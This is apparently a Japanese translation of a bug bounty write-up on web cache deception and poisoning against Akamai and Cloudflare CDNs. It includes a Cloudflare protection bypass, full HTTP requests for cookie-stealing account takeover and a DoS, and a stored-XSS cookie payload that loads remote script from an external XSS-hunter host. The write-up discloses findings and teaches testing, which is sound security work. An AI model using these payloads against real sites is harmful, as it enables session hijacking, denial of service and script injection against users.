ソース：
脆弱性：Web Cache
訳：
キャッシュの問題を探すときの私の「方法論」を最初から最後まで共有し、その後、最近の実際のケースのシナリオとそれぞれの報奨金を共有します。
私はこれらの問題を見つけるために自動ツールを使用していないことを共有する価値があります。
実際、私が一般的なテストに使用する唯一の自動ツールは SQLi 用の SQLmap です。
方法論：
アプリケーションにログイン機能がなく、Akamai CDN を使用している場合の手順は次のとおりです。
最初のリクエストをリピーターに送信します。
サーバーが通常のリクエストをキャッシュしているかどうかを確認します (これは、応答ヘッダー「Server-Timing: cdn-cache; desc=HIT」でわかります)。
応答が正常にキャッシュされた場合、ブラウザで URL を開くと、400 Bad Request が表示されるはずです。
アプリケーションにログイン機能がある場合
- アカウントを作成する
- ページ内に機密情報が開示されているかどうかを確認します (セッション トークンなど)。
認証されたアカウントを使用して変更された URL を開きます
Curl またはプライベート Web ブラウザ ウィンドウを使用して同じ URL を開く
トークンが正常にキャッシュされた場合は、応答にトークンが表示されるはずです。
アプリケーションがCloudflare CDNを使用している場合
不正なヘッダーは機能せず、現在、ほとんどの Cloudflare 顧客は Cache Deception Armorを使用しています。
本当に未知の拡張子ファイルである .avif ファイルを使用して、この保護をバイパスすることができました。
#1391635
ただし、この保護が有効になっていないサイトもあり、キャッシュポイズニング/Deception を完全にテストできます。
実例：
キャッシュDeception によるアカウント乗っ取り → 報奨金 = 1,500 ドル
まとめ：
すべての Cookie (HTTP のみの Cookie も含む) は https://host.com/app/conversation/1.js で公開されています。
認証されたユーザーがこの URL にアクセスすると、すべての Cookie がキャッシュに保存されます。
その後、攻撃者は Cookie を抽出してセッションをハイジャックすることができます。
注記：
場合によっては、応答が「404 Not found」の場合、Akamai は応答を 10 秒未満しかキャッシュしないため、攻撃者にとってこれが難しくなります。
この場合、攻撃者は迅速である必要がありますが、Akamai が 200 OK レスポンスを検出した場合、レスポンスは少なくとも 24 時間持続します。
ヒントとコツ：
一部のアプリケーションでは、拡張子の前にセミコロン (;) を追加すると、200 OK 応答が返される場合があります。
例えば
/xxxx/xxxxxx/;.js
応答
HTTP/2 200 OK
キャッシュポイズニングによる DoS → 報奨金 = 1,000 ドル
まとめ：
Akamai CDN でバックスラッシュを送信すると、\ ヘッダーとして、サーバーは 400 で応答します。 Bad Request応答
リクエスト：
GET /products/xxx/xxxx/xxx/?test HTTP/2
Host: www.host.com
\:
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Te: trailers
レスポンス：
HTTP/2 400 Bad Request
Content-Type: text/html;charset=iso-8859-1
Content-Length: 70
Cache-Control: max-age=297
Expires: Thu, 21 Jul 2022 16:17:54 GMT
Date: Thu, 21 Jul 2022 16:12:57 GMT
Server-Timing: cdn-cache; desc=HIT
Server-Timing: edge; dur=32
Server-Timing: origin; dur=147
Strict-Transport-Security: max-age=86400
Ak-Uuid: 0.bc85d817.1658419977.1592c61
これは、サイトでキャッシュ サーバーを使用している場合に問題になります。
通常、サイトは JavaScript、CSS、その他のファイルのみをキャッシュしますが、サイトが次のような場合は、 www.host.com 次のような通常の応答もキャッシュします。
www.host.com/products/*
www.host.com/*
等..
非常に影響の大きいバグとなります。
ヒントとコツ：
アカマイには、このエクスプロイトではworkaround があり、400 応答がキャッシュ内で 5 秒間だけ残るようにすることで、しかし攻撃者は侵入者を使用してヌル ペイロードを送信し、同じ 400 応答が永久にキャッシュされるようにすることができます。
保存された XSS へのキャッシュ ポイズニング → 報奨金 = 1,000 ドル
まとめ：
n_vis クッキーパラメータ経由の XSS があります。
サーバーはこの応答をキャッシュするため、攻撃者は XSS ペイロードを保存できる可能性があります。
ほとんどのペイロードをブロックする強力なフィルター (および WAF) がありますが、サイトは Jquery を使用しているため、攻撃者は $.getScriptこれを悪用する機能。
リクエスト
GET /xxxx/xx-xx.otf?triagethiss HTTP/2
Host: www.host.com
Cookie: n_vis=xssx'*$.getScript`//593.xss.ht`//;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-xss,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Te: trailers
レスポンス
<script>
...
Visitor.id='xssx'*$.getScript`//593.xss.ht`//;
....
</script>
リクエスト ヘッダー、Cookie、カスタム ヘッダー、X-Forwarded-* ヘッダーの XSS をテストします。
ほなほな。
